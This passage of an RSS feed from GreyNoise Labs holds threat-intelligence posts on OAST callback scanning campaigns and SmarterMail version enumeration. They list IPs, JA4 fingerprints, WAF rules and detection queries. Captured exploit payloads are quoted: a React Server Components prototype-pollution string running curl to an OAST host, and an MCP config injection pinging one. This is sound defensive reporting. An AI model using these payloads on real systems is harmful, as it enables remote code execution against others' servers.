<tr class="odd">
<td>AS9009</td>
<td>M247 Europe SRL</td>
<td>6,708</td>
<td>2</td>
<td>Hosting</td>
</tr>
<tr class="even">
<td>AS14061</td>
<td>DigitalOcean LLC</td>
<td>495</td>
<td>1</td>
<td>Cloud</td>
</tr>
<tr class="odd">
<td>AS22612</td>
<td>Namecheap Inc.</td>
<td>310</td>
<td>1</td>
<td>Hosting</td>
</tr>
<tr class="even">
<td>AS8075</td>
<td>Microsoft Azure</td>
<td>115</td>
<td>1</td>
<td>Cloud</td>
</tr>
<tr class="odd">
<td>AS60223</td>
<td>Netiface</td>
<td>95</td>
<td>1</td>
<td>Hosting</td>
</tr>
</tbody>
</table>
<p>M247 Europe (AS9009) is a bullet-proof hosting provider frequently associated with automated scanning and low-reputation traffic. The infrastructure concentration suggests either a single operator with multi-provider redundancy or multiple actors sharing common tooling and OAST services.</p>
</section>
<section id="tcp-stack-analysis" class="level3">
<h3 class="anchored" data-anchor-id="tcp-stack-analysis">TCP Stack Analysis</h3>
<p>The dominant JA4T fingerprint (64240_2-4-8-1-3_1286_7) exhibits: - <strong>Window Size:</strong> 64240 (scaled to 8,222,720 bytes) - <strong>MSS:</strong> 1286 (unusually low, indicating 174 bytes overhead) - <strong>Options:</strong> MSS, SACK, Timestamp, NOP, Window Scale (Linux-typical ordering)</p>
<p>MSS of 1286 is anomalous. Standard Ethernet MTU (1500) yields MSS of 1460. Observed MSS suggests: - 174 bytes overhead from multiple encapsulation layers - Likely nested VPN or tunnel configuration - Consistent with operational security practices for scanning infrastructure</p>
</section>
</section>
<section id="attribution-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h2>
<p><strong>Confidence: Medium</strong></p>
<p>This activity is consistent with automated vulnerability scanning by security researchers, bug bounty hunters, or opportunistic threat actors using commercial/open-source tooling.</p>
<p><strong>Evidence supporting assessment:</strong></p>
<ol type="1">
<li><strong>Tooling Indicators:</strong>
<ul>
<li>Interactsh OAST service is publicly available and widely used by security testers</li>
<li>Consistent fingerprints suggest automated scanning frameworks (Nuclei, custom scripts)</li>
<li>Payload diversity indicates template-based exploitation attempts</li>
</ul></li>
<li><strong>Infrastructure Patterns:</strong>
<ul>
<li>M247 Europe (AS9009) is known for bulletproof hosting but also used by legitimate penetration testing services</li>
<li>Use of cloud infrastructure (DigitalOcean, Azure) is common in both legitimate and malicious scanning</li>
<li>Nested VPN configuration suggests operational security awareness</li>
</ul></li>
<li><strong>Operational Behavior:</strong>
<ul>
<li>Burst pattern on single day suggests scheduled/triggered scanning</li>
<li>No evidence of post-exploitation activity (no callback responses observed)</li>
<li>OAST usage for vulnerability confirmation is standard in both offensive security and threat actor TTPs</li>
</ul></li>
</ol>
<p><strong>What we know:</strong> - Activity originates from bullet-proof hosting and cloud infrastructure - Scanning targets known CVEs with OAST-based detection - Infrastructure demonstrates operational security (VPN tunneling)</p>
<p><strong>What we infer (lower confidence):</strong> - Single operator or coordinated group based on timing and infrastructure overlap - Purpose is vulnerability detection (could be defensive testing or offensive reconnaissance) - No evidence of successful exploitation or post-compromise activity in sensor data</p>
</section>
<section id="network-iocs" class="level2">
<h2 class="anchored" data-anchor-id="network-iocs">Network IOCs</h2>
<section id="primary-ips" class="level3">
<h3 class="anchored" data-anchor-id="primary-ips">Primary IPs</h3>
<pre><code>146.70.211.244    AS9009 (M247 Europe SRL)         US    6,637 sessions
129.212.209.246   AS14061 (DigitalOcean LLC)       SG    495 sessions
209.74.86.209     AS22612 (Namecheap Inc.)         US    310 sessions
13.67.116.60      AS8075 (Microsoft Azure)         SG    115 sessions
195.24.236.36     AS60223 (Netiface)               NL    95 sessions
146.70.147.100    AS9009 (M247 Europe SRL)         US    71 sessions
45.150.108.195    AS62005 (BlueVPS OU)             IL    56 sessions
104.28.246.4      AS13335 (Cloudflare Inc.)        PT    56 sessions
45.129.231.10     AS213438 (ColocaTel Inc.)        NL    39 sessions
72.60.104.48      AS47583 (Hostinger Intl)         MY    37 sessions</code></pre>
</section>
<section id="oast-campaign-identifiers" class="level3">
<h3 class="anchored" data-anchor-id="oast-campaign-identifiers">OAST Campaign Identifiers</h3>
<p><strong>Top 10 Interactsh k-sort values (campaign identifiers):</strong></p>
<pre><code>d5i159 - 79 domains (primary M247 campaign)
d5l5ce - 76 domains (DigitalOcean burst)
d5i66f - 29 domains (Namecheap)
d5k6dd - 20 domains (mixed infrastructure)
d5lcrl - 13 domains (minor campaign)
d5jov6 - 10 domains (minor campaign)
d5j0uu - 9 domains (minor campaign)
255cd5 - 4 domains (minor campaign)
20d5l5 - 4 domains (minor campaign)
2fd5l5 - 4 domains (minor campaign)</code></pre>
</section>
<section id="ja4-fingerprints-detection-signatures" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprints-detection-signatures">JA4 Fingerprints (Detection Signatures)</h3>
<p><strong>High-confidence indicators for primary campaign:</strong></p>
<pre><code>JA4T: 64240_2-4-8-1-3_1286_7
JA4H: ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000
JA4H: ge11nn040000_532a1ee47909_000000000000_000000000000</code></pre>
<p><strong>Secondary campaign indicators:</strong></p>
<pre><code>JA4T: 65535_2-4-8-1-3_1380_13
JA4H: po11nn100000_2bce9f31eeb7_000000000000_000000000000</code></pre>
</section>
<section id="oast-domain-patterns" class="level3">
<h3 class="anchored" data-anchor-id="oast-domain-patterns">OAST Domain Patterns</h3>
<p>Sample domains for detection (all Interactsh):</p>
<pre><code>*.oast.site
*.oast.fun
*.oast.live
*.oast.me
*.oast.pro</code></pre>
<p>Pattern: <code>[a-z0-9]{32,40}\.(oast\.site|oast\.fun|oast\.live|oast\.me|oast\.pro)</code></p>
</section>
</section>
<section id="detection-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h2>
<ol type="1">
<li><p><strong>Block or alert on OAST callback domains</strong> in outbound DNS/HTTP traffic. Implement detection for <code>*.oast.site</code>, <code>*.oast.fun</code>, and related Interactsh domains. Legitimate security testing should be coordinated and expected; uncoordinated callbacks indicate unauthorized scanning or successful exploitation.</p></li>
<li><p><strong>Monitor for JA4 fingerprint combinations</strong> associated with this campaign. Deploy network sensors capable of JA4 fingerprinting and alert on primary indicators (JA4T: 64240_2-4-8-1-3_1286_7 combined with listed JA4H values) from unexpected sources.</p></li>
<li><p><strong>Prioritize patching for targeted vulnerabilities:</strong></p>
<ul>
<li>CVE-2024-46982 (React Server Components RCE) - patch Next.js to latest versions</li>
<li>CVE-2017-11610 (Supervisord XML-RPC RCE) - disable XML-RPC or update Supervisord</li>
<li>Router/IoT command injection - audit administrative interfaces for command injection vulnerabilities</li>
</ul></li>
<li><p><strong>Implement WAF rules for exploit patterns:</strong></p>
<ul>
<li>Block POST requests to <code>/__nextjs_original-stack-frame</code> with <code>__proto__</code> in body</li>
<li>Block XML-RPC requests to <code>/RPC2</code> containing <code>supervisor.supervisord.options</code></li>
<li>Rate-limit and inspect POST requests to <code>/syscmd.htm</code> and similar admin endpoints</li>
<li>Alert on <code>wget</code>, <code>curl</code>, <code>nslookup</code> commands in URL-encoded POST bodies</li>
</ul></li>
<li><p><strong>Review firewall rules for M247 Europe (AS9009)</strong> and other identified ASNs. Consider blocking or rate-limiting traffic from bullet-proof hosting providers unless business need exists.</p></li>
<li><p><strong>Audit for successful exploitation:</strong> Search logs for OAST domain callbacks in DNS queries, HTTP requests, or command execution logs. Any callback indicates the vulnerability is present and exploitable.</p></li>
</ol>
</section>
<section id="gnql-queries" class="level2">
<h2 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h2>
<p><strong>Find IPs targeting your organization with OAST domains:</strong></p>
<pre><code>tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<p><strong>Investigate M247 Europe infrastructure activity:</strong></p>
<pre><code>metadata.asn:AS9009 last_seen:7d classification:malicious</code></pre>
<p><strong>Search for React Server Components exploitation attempts:</strong></p>
<pre><code>raw_data.web.paths:*__nextjs_original-stack-frame* last_seen:30d</code></pre>
<p><strong>Find IPs using primary campaign fingerprints:</strong></p>
<pre><code>metadata.fingerprint:"64240_2-4-8-1-3_1286_7" last_seen:7d</code></pre>
<hr>
<ul>
<li><strong>Report Generated:</strong> 2026-01-17</li>
<li><strong>Analysis Period:</strong> 2026-01-10 06:10:25 UTC to 2026-01-17 04:59:01 UTC</li>
<li><strong>Total Sessions Analyzed:</strong> 8,126</li>
<li><strong>Unique Source IPs:</strong> 34</li>
<li><strong>OAST Domains Identified:</strong> 273 (Interactsh)</li>
<li><strong>Campaigns Identified:</strong> 21</li>
</ul>


</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-16-weekly-oast-report/</guid>
  <pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-16-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>SmarterMail Version Enumeration: Threat Actors Building Target Lists Post-CVE-2025-52691</title>
  <dc:creator>hrbrmstr </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-13-smartermail-version-enumeration/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-52691">CVE-2025-52691</a> (an unauthenticated arbitrary file upload weakness enabling remote code execution on SmarterTools SmarterMail Email Gateways) landed on December 28, 2025, carrying a CVSS score of 10.0. The vulnerability affects SmarterMail Build 9406 and earlier, allowing unauthenticated attackers to upload arbitrary files to any location on the server. No user interaction is required, and the path from file upload to remote code execution is short. Given that attackers adore exposed email infrastructure, they will likely go to town on it, since it looks like <a href="https://platform.censys.io/search?q=smartermail">there are some out there</a> (via Censys).</p>
<p>While we’re still working on a tag for that particular CVE, our new AI-driven emergent threat detection process noticed the Global Observation Grid caught what appears to be one potential preparation phase before exploitation attempts.</p>
<section id="what-were-seeing" class="level2">
<h2 class="anchored" data-anchor-id="what-were-seeing">What We’re Seeing</h2>
<p>Starting January 12, 2026, the GreyNoise Global Observation Grid observed 5,541 sessions targeting a specific SmarterMail API endpoint: <code>/api/v1/licensing/about</code>. This endpoint returns version information, which is precisely what one would query if one were building an inventory of vulnerable instances before launching exploitation at scale:</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">❯</span> curl <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-sk</span> https://###.###.###.###/api/v1/licensing/about <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">|</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">jq</span></span>
<span id="cb1-2"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">{</span></span>
<span id="cb1-3">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"version"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"100.0.9483"</span>,</span>
<span id="cb1-4">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"edition"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> 0,</span>
<span id="cb1-5">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"enterpriseFunctionality"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> true,</span>
<span id="cb1-6">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"activeSyncEnabled"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> false,</span>
<span id="cb1-7">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"mapiEwsEnabled"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> false,</span>
<span id="cb1-8">  <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"isTrialLicense"</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">:</span> false</span>
<span id="cb1-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">}</span></span></code></pre></div>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-13-smartermail-version-enumeration/media/probes.png" class="img-fluid"></p>
<p>When we took a look at the 5.5K sessions, a distinct signature emerged, as they all share a single JA4H HTTP fingerprint:</p>
<pre><code>ge11nn06en00_0e5d97bc8ad6_*</code></pre>
<p>This uniformity, combined with the infrastructure profile, points to a single coordinated campaign rather than multiple independent actors just stumbling onto the same reconnaissance technique.</p>
</section>
<section id="infrastructure-profile" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-profile">Infrastructure Profile</h2>
<p>The scanning originated from 14 IP addresses, all hosted on DigitalOcean (AS14061). The distribution of sessions across these IPs suggests a deliberate load-balancing approach:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP Address</th>
<th>Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>142.93.190.121</td>
<td>1,460</td>
</tr>
<tr class="even">
<td>142.93.185.162</td>
<td>754</td>
</tr>
<tr class="odd">
<td>142.93.189.2</td>
<td>679</td>
</tr>
<tr class="even">
<td>142.93.188.199</td>
<td>590</td>
</tr>
<tr class="odd">
<td>142.93.190.253</td>
<td>464</td>
</tr>
<tr class="even">
<td>142.93.185.181</td>
<td>382</td>
</tr>
<tr class="odd">
<td>142.93.189.243</td>
<td>340</td>
</tr>
<tr class="even">
<td>142.93.188.162</td>
<td>285</td>
</tr>
</tbody>
</table>
<p>The remaining six IPs account for the balance, with session counts ranging from 197 down to 4. (NOTE: three IPs were first observed in GreyNoise starting on January 10th, a continuance of the trend we’ve been observing throughout the latter half of 2026.)</p>
<p>Three JA4T TCP fingerprints appear across the campaign, all consistent with Unix-like operating systems. The primary fingerprint (<code>64240_2-4-8-1-3_1460_7</code>) matches patterns commonly seen from WSL Ubuntu 22.04 environments. A secondary variant (<code>65495_2-4-8-1-3_65495_7</code>) suggests jumbo frame or custom MTU configurations—possibly indicating virtualized or cloud-native tooling.</p>
</section>
<section id="behavioral-indicators" class="level2">
<h2 class="anchored" data-anchor-id="behavioral-indicators">Behavioral Indicators</h2>
<p>As we contniued to poke, the <code>User-Agent</code> strings proudly told their own story. The campaign rotates through fabricated browser identifiers, including references to Linux distributions that don’t exist (“SS”, “ZZ”) alongside legitimate ones (Fedora, CentOS, Debian, Knoppix). Chrome version strings range from 118 to 135, Firefox from 120 to 135. This randomization is typical of automated scanning tools attempting to blend in (though the fabricated distro names undercut that effort).</p>
<p>Port coverage is predictably comprehensive: 80, 443, 8000, 8080, 8443, and 10443, so the campaign is checking wherever SmarterMail might be listening. <em>(Please stop trying to “hide” things on high ports; it never works.)</em></p>
<p>The target distribution spans 55+ countries, with the United States receiving the most attention (768 sessions), followed by Spain, India, and Indonesia. This isn’t targeted reconnaissance against a specific organization—it’s internet-wide enumeration.</p>
</section>
<section id="timeline" class="level2">
<h2 class="anchored" data-anchor-id="timeline">Timeline</h2>
<p>The bulk of the activity occurred in a concentrated four-hour window on January 12, 2026:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Time (UTC)</th>
<th>Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>15:00</td>
<td>2,071</td>
</tr>
<tr class="even">
<td>16:00</td>
<td>2,020</td>
</tr>
<tr class="odd">
<td>17:00</td>
<td>1,283</td>
</tr>
<tr class="even">
<td>18:00</td>
<td>167</td>
</tr>
</tbody>
</table>
<p>Packets continue to flow in as we penned this post.</p>
</section>
<section id="what-this-means" class="level2">
<h2 class="anchored" data-anchor-id="what-this-means">What This Means</h2>
<p>This is reconnaissance, not exploitation. We haven’t observed follow-on activity from these IPs targeting other SmarterMail endpoints or attempting file uploads. The campaign appears focused on answering a single question: which SmarterMail instances are out there, and what versions are they running?</p>
<p>That answer has value, since once the threat actor compile it, any discovered nodes become targets for exploitation (either by the same actor or sold to others). The 15-day gap between CVE publication and scanning activity is consistent with time needed to x-ray the software, develop tooling and provision infrastructure.</p>
</section>
<section id="detection-and-response" class="level2">
<h2 class="anchored" data-anchor-id="detection-and-response">Detection and Response</h2>
<p>GreyNoise is developing tags for both CVE-2025-52691 exploitation attempts and this reconnaissance pattern. In the meantime, defenders can use the following GNQL query to identify this activity in their GreyNoise data:</p>
<p><strong><a href="https://viz.greynoise.io/query/raw_data.http.path:%22%2Fapi%2Fv1%2Flicensing%2Fabout%22">View this scanning activity in GreyNoise Visualizer</a></strong></p>
<pre><code>raw_data.http.path:"/api/v1/licensing/about"</code></pre>
<p>Organizations running SmarterMail should verify they’re on Build 9407 or later. If patching isn’t immediately possible, consider blocking or rate-limiting access to the <code>/api/v1/licensing/about</code> endpoint from untrusted sources.</p>
</section>
<section id="indicators-of-compromise" class="level2">
<h2 class="anchored" data-anchor-id="indicators-of-compromise">Indicators of Compromise</h2>
<p><strong>JA4H Fingerprint:</strong></p>
<pre><code>ge11nn06en00_0e5d97bc8ad6_*000000000000_000000000000*</code></pre>
<p><strong>JA4T Fingerprints:</strong></p>
<pre><code>64240_2-4-8-1-3_1460_7
65495_2-4-8-1-3_65495_7
33280_2-4-8-1-3_65495_7</code></pre>
<p><strong>Source IPs (AS14061 - DigitalOcean)</strong> (so far):</p>
<pre><code>142.93.190.121
142.93.185.162
142.93.189.2
142.93.188.199
142.93.190.253
142.93.185.181
142.93.189.243
142.93.188.162
142.93.185.97
142.93.190.50
142.93.188.235
142.93.185.209
142.93.189.95
142.93.185.35</code></pre>


</section>

 ]]></description>
  <category>Threat Signal</category>
  <category>Version Check</category>
  <category>AI</category>
  <category>LLM</category>
  <category>reconnaissance</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-01-13-smartermail-version-enumeration/</guid>
  <pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-01-13-smartermail-version-enumeration/media/cover.png" medium="image" type="image/png" height="81" width="144"/>
</item>
<item>
  <title>GreyNoise Labs Weekly OAST (Well-known Out-of-band Interaction Domains) Report • Week Ending 2026-01-09</title>
  <dc:creator>🔮Orbie✨ </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-01-10-weekly-oast-report/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>GreyNoise observed 30,165 sessions from 64 unique IP addresses containing Well-known Out-of-band Interaction Domains during the week of January 3-9, 2026. Analysis reveals three distinct operational clusters: a high-volume MCP server command injection campaign from a single OVH IP (<code>51[.]77[.]116[.]46</code>), a coordinated React2Shell (CVE-2025-55182) exploitation effort spanning four IPs across three ASNs, and opportunistic multi-vector scanning from MEVSPACE infrastructure. All activity utilized Interactsh domains across six provider TLDs, with 44 distinct OAST campaign identifiers decoded from 3,464 unique callback domains.</p>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-01-10-weekly-oast-report/media/campaigns.png" class="img-fluid"></p>
<section id="overview" class="level2">
<h2 class="anchored" data-anchor-id="overview">Overview</h2>
<p>This analysis covers OAST-tagged sessions observed across GreyNoise sensor infrastructure from January 3-9, 2026. The data was extracted from sessions tagged with “Contains Well-known Out-of-band Interaction Domain” and analyzed using JA4 fingerprinting, OAST domain decoding, and payload classification.</p>
<p>Session volume peaked on January 4 with 17,520 sessions (58% of weekly total), driven primarily by IP <code>51[.]77[.]116[.]46</code> which contributed 12,371 sessions on that single day. The temporal distribution shows sustained activity throughout the week with no significant gaps exceeding 24 hours, suggesting continuous automated scanning rather than manual operation.</p>
<p>JA4T fingerprint analysis identified two dominant TCP stack signatures:</p>
<ul>
<li><code>64240_2-4-8-1-3_1460_7</code> (4,846 sessions, 17 IPs) - Standard Linux/WSL profile</li>
<li><code>65495_2-4-8-1-3_65495_7</code> (3,865 sessions, 24 IPs) - Non-standard MSS indicating tunneled or virtualized networking</li>
</ul>
<p>The MSS 65495 fingerprint correlates with activity from known bulletproof hosting providers including MEVSPACE (AS201814) and appears across multiple campaigns, suggesting shared infrastructure or tooling.</p>
</section>
<section id="campaign-analysis" class="level2">
<h2 class="anchored" data-anchor-id="campaign-analysis">Campaign Analysis</h2>
<section id="campaign-1-mcp-server-command-injection-j332t" class="level3">
<h3 class="anchored" data-anchor-id="campaign-1-mcp-server-command-injection-j332t">Campaign 1: MCP Server Command Injection (j332t)</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Sessions</td>
<td>1,245</td>
</tr>
<tr class="even">
<td>Unique IPs</td>
<td>1</td>
</tr>
<tr class="odd">
<td>Source IP</td>
<td>51.77.116.46</td>
</tr>
<tr class="even">
<td>ASN</td>
<td>AS16276 (OVH SAS)</td>
</tr>
<tr class="odd">
<td>OAST Provider</td>
<td>oast.site</td>
</tr>
<tr class="even">
<td>First Seen</td>
<td>2026-01-04 07:38:54 UTC</td>
</tr>
<tr class="odd">
<td>Last Seen</td>
<td>2026-01-04 (single day burst)</td>
</tr>
</tbody>
</table>
<p>This campaign targets MCP (Model Context Protocol) server configurations with command injection payloads (<a href="https://viz.greynoise.io/tags/flowise-authentication-bypass-cve-2025-8943-rce-attempt?days=90">Flowise Authentication Bypass CVE-2025-8943 RCE Attempt | GreyNoise Visualizer</a>). The attack attempts to abuse the <code>mcpServerConfig</code> parameter to execute arbitrary commands via ping callbacks to OAST domains.</p>
<p><strong>Sample Payload:</strong></p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb1-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"inputs"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-3">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"mcpServerConfig"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-4">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"command"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ping"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb1-5">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"args"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"d5d1gpj332t74modlrfg[REDACTED].oast.site"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"-c"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"1"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span></span>
<span id="cb1-6">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb1-7">  <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb1-8"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div>
<p>The decoded OAST domain reveals:</p>
<ul>
<li>Timestamp: 2026-01-04 02:36:06 EST</li>
<li>Machine ID: 63:18:ba</li>
<li>Campaign identifier: j332t</li>
</ul>
<p>This single-IP campaign generated high volume within a compressed timeframe, consistent with automated vulnerability scanning behavior.</p>
</section>
<section id="campaign-2-react2shell-exploitation-qsuzo" class="level3">
<h3 class="anchored" data-anchor-id="campaign-2-react2shell-exploitation-qsuzo">Campaign 2: React2Shell Exploitation (qsuzo)</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Sessions</td>
<td>1,044</td>
</tr>
<tr class="even">
<td>Unique IPs</td>
<td>4</td>
</tr>
<tr class="odd">
<td>ASNs</td>
<td>AS13335 (Cloudflare), AS60223 (Netiface), AS3243 (MEO)</td>
</tr>
<tr class="even">
<td>Countries</td>
<td>Portugal, Netherlands</td>
</tr>
<tr class="odd">
<td>OAST Provider</td>
<td>oast.fun</td>
</tr>
<tr class="even">
<td>Date Range</td>
<td>2026-01-04 to 2026-01-09</td>
</tr>
</tbody>
</table>
<p>This campaign exploits CVE-2025-55182 (<a href="https://viz.greynoise.io/tags/react-server-components-unsafe-deserialization-cve-2025-55182-rce-attempt?days=90">React Server Components Unsafe Deserialization CVE-2025-55182 RCE Attempt | GreyNoise Visualizer</a>) using prototype pollution to achieve remote code execution via <code>child_process.execSync()</code>.</p>
<p><strong>IP Distribution:</strong> | IP | ASN | Sessions | |—-|—–|———-| | <code>195[.]24[.]237[.]218</code> | AS60223 | 604 | | <code>104[.]28[.]246[.]4</code> | AS13335 | 302 | | <code>82[.]154[.]215[.]52</code> | AS3243 | 84 | | <code>104[.]28[.]214[.]4</code> | AS13335 | 54 |</p>
<p>The presence of Cloudflare IPs (AS13335) suggests either proxied traffic or Cloudflare Workers-based attack infrastructure. The Netiface IP (<code>195[.]24[.]237[.]218</code>) contributed the majority of sessions.</p>
<p><strong>Payload Pattern:</strong></p>
<pre><code>{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\",
 \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",
 \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('curl https://[OAST]')\"}}</code></pre>
</section>
<section id="campaign-3-multi-vector-mevspace-scanning" class="level3">
<h3 class="anchored" data-anchor-id="campaign-3-multi-vector-mevspace-scanning">Campaign 3: Multi-Vector MEVSPACE Scanning</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Sessions</td>
<td>4,160</td>
</tr>
<tr class="even">
<td>Source IP</td>
<td><code>94[.]26[.]88[.]61</code></td>
</tr>
<tr class="odd">
<td>ASN</td>
<td>AS201814 (MEVSPACE)</td>
</tr>
<tr class="even">
<td>Country</td>
<td>Poland</td>
</tr>
<tr class="odd">
<td>Attack Types</td>
<td>XStream, .NET Deserialization, Log4Shell</td>
</tr>
<tr class="even">
<td>OAST Providers</td>
<td>Multiple (oast.site, oast.online, oast.pro)</td>
</tr>
</tbody>
</table>
<p>MEVSPACE sp. z o.o. is a known bulletproof hosting provider. This IP executed multiple exploit types across the analysis window:</p>
<p><strong>Attack Type Distribution from <code>94[.]26[.]88[.]61</code>:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attack Type</th>
<th>Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>XStream Deserialization</td>
<td>144</td>
</tr>
<tr class="even">
<td>.NET JSON Deserialization</td>
<td>93</td>
</tr>
<tr class="odd">
<td>Log4Shell (CVE-2021-44228)</td>
<td>287</td>
</tr>
<tr class="even">
<td>Other callback attempts</td>
<td>3,636</td>
</tr>
</tbody>
</table>
<p>The diversity of attack payloads from a single source suggests an automated vulnerability scanner cycling through multiple exploit modules.</p>
</section>
</section>
<section id="additional-activity" class="level2">
<h2 class="anchored" data-anchor-id="additional-activity">Additional Activity</h2>
<section id="google-cloud-infrastructure-as396982" class="level3">
<h3 class="anchored" data-anchor-id="google-cloud-infrastructure-as396982">Google Cloud Infrastructure (AS396982)</h3>
<p>Fifteen unique IPs from Google Cloud (AS396982) contributed scanning activity, primarily from Netherlands-based instances. The consistent JA4T fingerprint <code>65320_2-4-8-1-3_1420_7</code> across these IPs suggests a shared deployment or tooling:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP</th>
<th>Sessions</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>34[.]32[.]217[.]222</code></td>
<td>245</td>
</tr>
<tr class="even">
<td><code>34[.]91[.]156[.]181</code></td>
<td>124</td>
</tr>
<tr class="odd">
<td><code>34[.]91[.]29[.]122</code></td>
<td>118</td>
</tr>
<tr class="even">
<td><code>34[.]91[.]237[.]187</code></td>
<td>115</td>
</tr>
<tr class="odd">
<td>(11 others)</td>
<td>&lt;100 each</td>
</tr>
</tbody>
</table>
</section>
<section id="iot-command-injection" class="level3">
<h3 class="anchored" data-anchor-id="iot-command-injection">IoT Command Injection</h3>
<p>Seventeen sessions from seven unique IPs targeted IoT device command injection endpoints (e.g., <code>/syscmd.htm</code>). Sample payload:</p>
